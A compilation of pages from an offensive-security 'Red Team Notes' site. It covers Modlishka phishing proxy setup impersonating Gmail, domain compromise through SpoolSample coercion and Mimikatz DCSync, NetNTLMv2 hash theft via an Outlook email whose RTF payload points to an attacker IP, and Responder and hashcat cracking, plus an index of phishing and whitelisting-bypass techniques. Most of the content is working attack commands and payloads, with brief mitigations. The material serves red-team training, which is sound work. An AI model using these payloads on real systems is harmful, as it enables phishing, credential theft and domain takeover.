[Setup](https://www.ired.team/offensive-security/red-team-infrastructure/how-to-setup-modliska-reverse-http-proxy-for-phishing#setup) * [Modlishka Configuration](https://www.ired.team/offensive-security/red-team-infrastructure/how-to-setup-modliska-reverse-http-proxy-for-phishing#modlishka-configuration) * [Wildcard Certificates](https://www.ired.team/offensive-security/red-team-infrastructure/how-to-setup-modliska-reverse-http-proxy-for-phishing#wildcard-certificates) * [More DNS Records](https://www.ired.team/offensive-security/red-team-infrastructure/how-to-setup-modliska-reverse-http-proxy-for-phishing#more-dns-records) * [Launching Modlishka](https://www.ired.team/offensive-security/red-team-infrastructure/how-to-setup-modliska-reverse-http-proxy-for-phishing#launching-modlishka) * [References](https://www.ired.team/offensive-security/red-team-infrastructure/how-to-setup-modliska-reverse-http-proxy-for-phishing#references) Copy apt install certbot wget https://github.com/drk1wi/Modlishka/releases/download/v.1.1.0/Modlishka-linux-amd64 chmod +x Modlishka-linux-amd64 ; ls -lah modlishka.json Copy { //domain that you will be tricking your victim of visiting "proxyDomain": "redteam.me", "listeningAddress": "0.0.0.0", //domain that you want your victim to think they are visiting "target": "gmail.com", "targetResources": "", "targetRules": "PC9oZWFkPg==:", "terminateTriggers": "", "terminateRedirectUrl": "", "trackingCookie": "id", "trackingParam": "id", "jsRules":"", "forceHTTPS": false, "forceHTTP": false, "dynamicMode": false, "debug": true, "logPostOnly": false, "disableSecurity": false, "log": "requests.log", "plugins": "all", "cert": "", "certKey": "", "certPool": "" } Copy certbot certonly --manual --preferred-challenges=dns --server https://acme-v02.api.letsencrypt.org/directory --agree-tos -d *.redteam.me --email noreply@live.com Copy awk '{printf "%s\\n", $0}' /etc/letsencrypt/live/redteam.me/fullchain.pem awk '{printf "%s\\n", $0}' /etc/letsencrypt/live/redteam.me/privkey.pem Copy ./Modlishka-linux-amd64 -config modlishka.json --- # Code Execution | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-execution.md) . [regsvr32](https://www.ired.team/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo) [MSHTA](https://www.ired.team/offensive-security/code-execution/t1170-mshta-code-execution) [Control Panel Item](https://www.ired.team/offensive-security/code-execution/t1196-control-panel-item-code-execution) [Executing Code as a Control Panel Item through an Exported Cplapplet Function](https://www.ired.team/offensive-security/code-execution/executing-code-in-control-panel-item-through-an-exported-cplapplet-function) [Code Execution through Control Panel Add-ins](https://www.ired.team/offensive-security/code-execution/code-execution-through-control-panel-add-ins) [CMSTP](https://www.ired.team/offensive-security/code-execution/t1191-cmstp-code-execution) [InstallUtil](https://www.ired.team/offensive-security/code-execution/t1118-installutil) [Using MSBuild to Execute Shellcode in C#](https://www.ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c) [Forfiles Indirect Command Execution](https://www.ired.team/offensive-security/code-execution/t1202-forfiles-indirect-command-execution) [Application Whitelisting Bypass with WMIC and XSL](https://www.ired.team/offensive-security/code-execution/application-whitelisting-bypass-with-wmic-and-xsl) [Powershell Without Powershell.exe](https://www.ired.team/offensive-security/code-execution/powershell-without-powershell) [Powershell Constrained Language Mode Bypass](https://www.ired.team/offensive-security/code-execution/powershell-constrained-language-mode-bypass) [Forcing Iexplore.exe to Load a Malicious DLL via COM Abuse](https://www.ired.team/offensive-security/code-execution/forcing-iexplore.exe-to-load-a-malicious-dll-via-com-abuse) [pubprn.vbs Signed Script Code Execution](https://www.ired.team/offensive-security/code-execution/t1216-signed-script-ce) [PreviousNetNTLMv2 hash stealing using Outlook](https://www.ired.team/offensive-security/initial-access/netntlmv2-hash-stealing-using-outlook) [Nextregsvr32](https://www.ired.team/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo) --- # Domain Compromise via DC Print Server and Kerberos Delegation | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation.md) . This lab demonstrates an attack on Active Directory Domain Controller (or any other host to be fair) that involves the following steps and environmental conditions: * Attacker has to compromise a system that has an unrestricted kerberos delegation enabled. * Attacker finds a victim that runs a print server. In this lab this happened to be a Domain Controller. * Attacker coerces the DC to attempt authenticating to the attacker controlled host which has unrestricted kerberos delegation enabled. * This is done via RPC API [`RpcRemoteFindFirstPrinterChangeNotificationEx`](https://msdn.microsoft.com/en-us/library/cc244813.aspx) that allows print clients to subscribe to notifications of changes on the print server. * Once the API is called, the DC attempts to authenticate to the compromised host by revealing its TGT to the attacker controlled compromised system. * Attacker extracts `DC01's` TGT from the compromised system and impersonates the DC to carry a DCSync attack and dump domain member hashes. This lab builds on [Domain Compromise via Unrestricted Kerberos Delegation](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation#execution) Execution ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Our environment for this lab is: * ws01 - attacker compromised host with kerberos delegation enabled (attacker, server) * dc01 - domain controller running a print service (victim, target) We can check if a spool service is running on a remote host like so: Copy ls \\dc01\pipe\spoolss ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-M1G2L14gWtH4iXBfjAz%252F-M1G3ZcjdWLQ22Dju3RA%252Fimage.png%3Falt%3Dmedia%26token%3D50eadc85-f2c6-44b9-a054-becc2176565c&width=768&dpr=3&quality=100&sign=29d5d6a5&sv=2) If the spoolss was not running, we would receive an error. Another way to check if the spoolss is running on a remote machine is: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-M1G2L14gWtH4iXBfjAz%252F-M1G3r9F1ivbCsGGKa3A%252Fimage.png%3Falt%3Dmedia%26token%3Daf590887-7223-4115-9d57-d5ed9f85c72f&width=768&dpr=3&quality=100&sign=5a6c291&sv=2) Now, after compiling the amazing PoC [SpoolSample](https://github.com/leechristensen/SpoolSample) by [@tifkin\_](https://twitter.com/tifkin_) , we execute it with two arguments `target` and `server` (DC with spoolss running on it): ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQBWSwzQ7wpy7qsv_s4%252F-LQBX2MsTKWSFsBRV0G_%252FScreenshot%2520from%25202018-10-31%252023-32-34.png%3Falt%3Dmedia%26token%3D77e87b44-c372-43ea-a221-9e62a5cb79df&width=768&dpr=3&quality=100&sign=d6f1b0dc&sv=2) We are shown a message that the target attemped authenticating to our compromised system, so let's check if we can retrieve DC01 TGT: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQBWSwzQ7wpy7qsv_s4%252F-LQBX2MrpP19zaBFCAq9%252FScreenshot%2520from%25202018-10-31%252023-33-49.png%3Falt%3Dmedia%26token%3D07b59326-edd8-483c-8ba4-cb92b1fff216&width=768&dpr=3&quality=100&sign=9d54c9bc&sv=2) We indeed got a TGT for DC01$ computer! With this, we can make our compromised system `ws01$` appear like a Domain Controller and extract an NTLM hash for the user `offense\spotless` which we know has high privileges in the domain: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQBWSwzQ7wpy7qsv_s4%252F-LQBX2Mp1P83Erudnqdo%252FScreenshot%2520from%25202018-10-31%252023-43-32.png%3Falt%3Dmedia%26token%3D2893fb33-c48e-41b1-a3b9-1a053199df9e&width=768&dpr=3&quality=100&sign=1a0d07b4&sv=2) The above clearly shows the attack was successful and an NTLM hash for the user spotless got retrieved - get cracking or passing it now. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation#mitigation) Mitigation --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- For mitigations, see [Domain Compromise via Unrestricted Kerberos Delegation](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation#mitigation) mitigations section. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation#references) References --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)GitHub - leechristensen/SpoolSample: PoC tool to coerce Windows hosts authenticate to other machines via the MS-RPRN RPC interface. This is possible via other protocols as well.GitHub](https://github.com/leechristensen/SpoolSample) [Domain Controller Print Server + Unconstrained Kerberos Delegation = Pwned Active Directory ForestActive Directory & Azure AD/Entra ID Security](https://adsecurity.org/?p=4056) [Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSyncActive Directory & Azure AD/Entra ID Security](https://adsecurity.org/?p=2053) [PreviousKerberos Resource-based Constrained Delegation: Computer Object Takeover](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution) [NextDCShadow - Becoming a Rogue Domain Controller](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-creating-rogue-domain-controllers-with-dcshadow) Last updated 5 years ago * [Execution](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation#execution) * [Mitigation](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation#mitigation) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation#references) Copy .\SpoolSample.exe dc01 ws01 Copy mimikatz # sekurlsa::tickets Copy mimikatz # lsadump::dcsync /domain:offense.local /user:spotless --- # Phishing with MS Office | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office.md) . [Phishing: XLM / Macro 4.0](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-xlm-macro-4.0) [T1173: Phishing - DDE](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1173-dde) [T1137: Phishing - Office Macros](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1137-office-vba-macros) [Phishing: OLE + LNK](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk) [Phishing: Embedded Internet Explorer](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-embedded-internet-explorer) [Phishing: .SLK Excel](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-.slk-excel) [Phishing: Replacing Embedded Video with Bogus Payload](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-replacing-embedded-video-with-bogus-payload) [Inject Macros from a Remote Dotm Template](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros) [Bypassing Parent Child / Ancestry Detections](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships) [Phishing: Embedded HTML Forms](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-embedded-html-forms) [PreviousPassword Spraying Outlook Web Access: Remote Shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) [NextPhishing: XLM / Macro 4.0](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-xlm-macro-4.0) Last updated 7 years ago --- # NetNTLMv2 hash stealing using Outlook | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/initial-access/netntlmv2-hash-stealing-using-outlook.md) . [](https://www.ired.team/offensive-security/initial-access/netntlmv2-hash-stealing-using-outlook#context) Context ---------------------------------------------------------------------------------------------------------------------- If a target system is not running the latest version of Windows/Outlook, it may be possible to craft such an email that allows an attacker to steal the victim's NetNTLMv2 hashes without requiring any interaction from the user - clicking the email to preview it is enough for the hashes to be stolen. Note that this attack does not work on the most up to date version of Windows 10 and Outlook 2016 versions, so like always - patch early and often. [](https://www.ired.team/offensive-security/initial-access/netntlmv2-hash-stealing-using-outlook#weaponization) Weaponization ---------------------------------------------------------------------------------------------------------------------------------- Let's create a new HTML file with the below: message.html Copy

holla good sir

An RTF file also works: message.rtf Copy {\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://157.230.60.143/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}} Then insert a new file by clicking the attachment icon at the top on the window title bar: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUpLlAD0LfaDEE8Jm6k%252F-LUpMfG_T7K31j6XY5ps%252FScreenshot%2520from%25202018-12-28%252015-09-57.png%3Falt%3Dmedia%26token%3Da6551c73-b5e9-45df-a5f4-5d9e0a0e4865&width=768&dpr=3&quality=100&sign=427feeaa&sv=2) Select the malicious messge.html and select `Insert as Text`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUpLlAD0LfaDEE8Jm6k%252F-LUpMin2p-IuizcaeDRb%252FScreenshot%2520from%25202018-12-28%252015-11-07.png%3Falt%3Dmedia%26token%3Dec41a583-9bd3-44b1-a5d2-975b58809acb&width=768&dpr=3&quality=100&sign=7e21ad48&sv=2) You should see that your message now looks like an HTML with a broken image (expected in our case since the path to the image is fake): ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUpLlAD0LfaDEE8Jm6k%252F-LUpMnj5l4vlHGV0L_Nf%252FScreenshot%2520from%25202018-12-28%252015-11-47.png%3Falt%3Dmedia%26token%3D130a3176-fd6e-4470-a623-00de2d6182d9&width=768&dpr=3&quality=100&sign=5308b216&sv=2) [](https://www.ired.team/offensive-security/initial-access/netntlmv2-hash-stealing-using-outlook#execution) Execution -------------------------------------------------------------------------------------------------------------------------- Fire up `Responder` to listen for incoming SMB authentication requests from the victim ..and send the malicious email to the victim. [](https://www.ired.team/offensive-security/initial-access/netntlmv2-hash-stealing-using-outlook#victim-view) Victim View ------------------------------------------------------------------------------------------------------------------------------ Once the victim opens their Outlook and clicks on the malicious email to preview it, their machine will attempt authenticating to the attacker controlled server (running Responder). This will give away the victim's `NetNTLMv2` hashes to the attacker, which they can then attempt at cracking: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUpF6Iqp8jeHzabSNau%252F-LUpLKSkCJrM_4dCzS8O%252FPeek%25202018-12-28%252015-05.gif%3Falt%3Dmedia%26token%3Dc380c0f5-dcc3-404a-b7d2-894970ec6640&width=768&dpr=3&quality=100&sign=305dfc71&sv=2) Once the hash is stolen, we can attempt cracking it: In this case, we can see the user had a ridiculously simple password, which got cracked immediately: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUpNFJsu5Zom_LfdGb_%252F-LUpNz2JAAkc7u1EzSBM%252FScreenshot%2520from%25202018-12-28%252015-16-46.png%3Falt%3Dmedia%26token%3D8e63d21f-7682-47a3-bcb4-18cd0df9250b&width=768&dpr=3&quality=100&sign=397f0f23&sv=2) The next step would be to use Ruler to gain a reverse shell from the victims corporate network: [Password Spraying Outlook Web Access: Remote Shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) [](https://www.ired.team/offensive-security/initial-access/netntlmv2-hash-stealing-using-outlook#mitigation) Mitigation ---------------------------------------------------------------------------------------------------------------------------- * Patch Windows and Outlook * Block outgoing SMB connections to the Internet * Read emails in plain text * Enforce strong passwords [](https://www.ired.team/offensive-security/initial-access/netntlmv2-hash-stealing-using-outlook#references) References ---------------------------------------------------------------------------------------------------------------------------- [https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/smb-hash-hijacking-and-user-tracking-in-ms-outlook/www.nccgroup.trust](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/smb-hash-hijacking-and-user-tracking-in-ms-outlook/) [PreviousForced Authentication](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication) [NextCode Execution](https://www.ired.team/offensive-security/code-execution) Last updated 7 years ago * [Context](https://www.ired.team/offensive-security/initial-access/netntlmv2-hash-stealing-using-outlook#context) * [Weaponization](https://www.ired.team/offensive-security/initial-access/netntlmv2-hash-stealing-using-outlook#weaponization) * [Execution](https://www.ired.team/offensive-security/initial-access/netntlmv2-hash-stealing-using-outlook#execution) * [Victim View](https://www.ired.team/offensive-security/initial-access/netntlmv2-hash-stealing-using-outlook#victim-view) * [Mitigation](https://www.ired.team/offensive-security/initial-access/netntlmv2-hash-stealing-using-outlook#mitigation) * [References](https://www.ired.team/offensive-security/initial-access/netntlmv2-hash-stealing-using-outlook#references) attacker@kali Copy responder -I eth1 -v attacker@kali Copy hashcat -m5600 'spotless::OFFENSE:6bdb56c8140cf8dc:FFEF94D55C2EB2DE8CF13F140687AD7A:0101000000000000A5A01FB2BE9ED401114D47C1916811640000000002000E004E004F004D00410054004300480001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000000000000200000407D7D30819F03909981529F6ACA84502CFCC8B3555DBA34316F8914973DD03C0A0010000000000000000000000000000000000009001A0063006900660073002F00310030002E0030002E0030002E0035000000000000000000' -a 3 /usr/share/wordlists/rockyou.txt --force --potfile-disable --- # Unknown \# Red Team Notes ## Red Team Notes - \[What is ired.team notes?\](https://www.ired.team/readme.md): These are notes about all things focusing on, but not limited to, red teaming and offensive security. - \[Pentesting Cheatsheets\](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets.md): Convenient commands for your pentesting / red-teaming engagements, OSCP and CTFs. - \[SQL Injection & XSS Playground\](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground.md): This is my playground for SQL injection and XSS - \[Active Directory & Kerberos Abuse\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse.md): A collection of techniques that exploit and abuse Active Directory, Kerberos authentication, Domain Controllers and similar matters. - \[From Domain Admin to Enterprise Admin\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain.md): Explore Parent-Child Domain Trust Relationships and abuse it for Privilege Escalation - \[Kerberoasting\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting.md): Credential Access - \[Kerberos: Golden Tickets\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets.md): Persistence and Privilege Escalation with Golden Kerberots tickets - \[Kerberos: Silver Tickets\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets.md): Credential Access - \[AS-REP Roasting\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat.md) - \[Kerberoasting: Requesting RC4 Encrypted TGS when AES is Enabled\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled.md) - \[Kerberos Unconstrained Delegation\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation.md) - \[Kerberos Constrained Delegation\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation.md) - \[Kerberos Resource-based Constrained Delegation: Computer Object Takeover\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution.md) - \[Domain Compromise via DC Print Server and Kerberos Delegation\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation.md) - \[DCShadow - Becoming a Rogue Domain Controller\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-creating-rogue-domain-controllers-with-dcshadow.md) - \[DCSync: Dump Password Hashes from Domain Controller\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync.md) - \[PowerView: Active Directory Enumeration\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview.md) - \[Abusing Active Directory ACLs/ACEs\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces.md) - \[Privileged Accounts and Token Privileges\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges.md) - \[From DnsAdmins to SYSTEM to Domain Compromise\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise.md) - \[Pass the Hash with Machine$ Accounts\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-accounts.md) - \[BloodHound with Kali Linux: 101\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux.md) - \[Backdooring AdminSDHolder for Persistence\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence.md) - \[Active Directory Enumeration with AD Module without RSAT or Admin Privileges\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges.md) - \[Enumerating AD Object Permissions with dsacls\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions.md): Enumeration, living off the land - \[Active Directory Password Spraying\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying.md) - \[Active Directory Lab with Hyper-V and PowerShell\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-lab-with-hyper-v-and-powershell.md) - \[ADCS + PetitPotam NTLM Relay: Obtaining krbtgt Hash with Domain Controller Machine Certificate\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/adcs-+-petitpotam-ntlm-relay-obtaining-krbtgt-hash-with-domain-controller-machine-certificate.md) - \[From Misconfigured Certificate Template to Domain Admin\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin.md) - \[Shadow Credentials\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials.md): Persistence, lateral movement - \[Abusing Trust Account$: Accessing Resources on a Trusted Domain from a Trusting Domain\](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-trust-accountusd-accessing-resources-on-a-trusted-domain-from-a-trusting-domain.md) - \[Red Team Infrastructure\](https://www.ired.team/offensive-security/red-team-infrastructure.md) - \[HTTP Forwarders / Relays\](https://www.ired.team/offensive-security/red-team-infrastructure/redirectors-forwarders.md): Concealing attacking hosts through with redirectors/traffic forwarders using iptables or socat - \[SMTP Forwarders / Relays\](https://www.ired.team/offensive-security/red-team-infrastructure/smtp.md): SMTP Redirector + Stripping Email Headers - \[Phishing with Modlishka Reverse HTTP Proxy\](https://www.ired.team/offensive-security/red-team-infrastructure/how-to-setup-modliska-reverse-http-proxy-for-phishing.md) - \[Automating Red Team Infrastructure with Terraform\](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform.md) - \[Cobalt Strike 101\](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands.md) - \[Powershell Empire 101\](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101.md): Exploring key concepts of the Powershell Empire - \[Spiderfoot 101 with Kali using Docker\](https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker.md) - \[Initial Access\](https://www.ired.team/offensive-security/initial-access.md) - \[Password Spraying Outlook Web Access: Remote Shell\](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell.md) - \[Phishing with MS Office\](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office.md) - \[Phishing: XLM / Macro 4.0\](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-xlm-macro-4.0.md) - \[T1173: Phishing - DDE\](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1173-dde.md): Dynamic Data Exchange code - executing code in Microsoft Office documents. - \[T1137: Phishing - Office Macros\](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1137-office-vba-macros.md): Code execution with VBA Macros - \[Phishing: OLE + LNK\](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk.md): Phishing, Initial Access using embedded OLE + LNK objects - \[Phishing: Embedded Internet Explorer\](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-embedded-internet-explorer.md): Code execution with embedded Internet Explorer Object - \[Phishing: .SLK Excel\](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-.slk-excel.md) - \[Phishing: Replacing Embedded Video with Bogus Payload\](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-replacing-embedded-video-with-bogus-payload.md) - \[Inject Macros from a Remote Dotm Template\](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros.md) - \[Bypassing Parent Child / Ancestry Detections\](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships.md) - \[Phishing: Embedded HTML Forms\](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-embedded-html-forms.md): Code execution with embedded HTML Form Objects - \[Phishing with GoPhish and DigitalOcean\](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean.md) - \[Forced Authentication\](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication.md): Credential Access, Stealing hashes - \[NetNTLMv2 hash stealing using Outlook\](https://www.ired.team/offensive-security/initial-access/netntlmv2-hash-stealing-using-outlook.md) - \[Code Execution\](https://www.ired.team/offensive-security/code-execution.md) - \[regsvr32\](https://www.ired.team/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo.md): regsvr32 (squiblydoo) code execution - bypass application whitelisting. - \[MSHTA\](https://www.ired.team/offensive-security/code-execution/t1170-mshta-code-execution.md): MSHTA code execution - bypass application whitelisting. - \[Control Panel Item\](https://www.ired.team/offensive-security/code-execution/t1196-control-panel-item-code-execution.md): Control Panel Item code execution - bypass application whitelisting. - \[Executing Code as a Control Panel Item through an Exported Cplapplet Function\](https://www.ired.team/offensive-security/code-execution/executing-code-in-control-panel-item-through-an-exported-cplapplet-function.md) - \[Code Execution through Control Panel Add-ins\](https://www.ired.team/offensive-security/code-execution/code-execution-through-control-panel-add-ins.md) - \[CMSTP\](https://www.ired.team/offensive-security/code-execution/t1191-cmstp-code-execution.md): CMSTP code execution - bypass application whitelisting. - \[InstallUtil\](https://www.ired.team/offensive-security/code-execution/t1118-installutil.md): InstallUtil code execution - bypass application whitelisting. - \[Using MSBuild to Execute Shellcode in C#\](https://www.ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c.md) - \[Forfiles Indirect Command Execution\](https://www.ired.team/offensive-security/code-execution/t1202-forfiles-indirect-command-execution.md): Defense Evasion - \[Application Whitelisting Bypass with WMIC and XSL\](https://www.ired.team/offensive-security/code-execution/application-whitelisting-bypass-with-wmic-and-xsl.md) - \[Powershell Without Powershell.exe\](https://www.ired.team/offensive-security/code-execution/powershell-without-powershell.md) - \[Powershell Constrained Language Mode Bypass\](https://www.ired.team/offensive-security/code-execution/powershell-constrained-language-mode-bypass.md): Understanding ConstrainedLanguageMode - \[Forcing Iexplore.exe to Load a Malicious DLL via COM Abuse\](https://www.ired.team/offensive-security/code-execution/forcing-iexplore.exe-to-load-a-malicious-dll-via-com-abuse.md) - \[pubprn.vbs Signed Script Code Execution\](https://www.ired.team/offensive-security/code-execution/t1216-signed-script-ce.md): Signed Script Proxy Execution - bypass application whitelisting using pubprn.vbs - \[Code & Process Injection\](https://www.ired.team/offensive-security/code-injection-process-injection.md) - \[CreateRemoteThread Shellcode 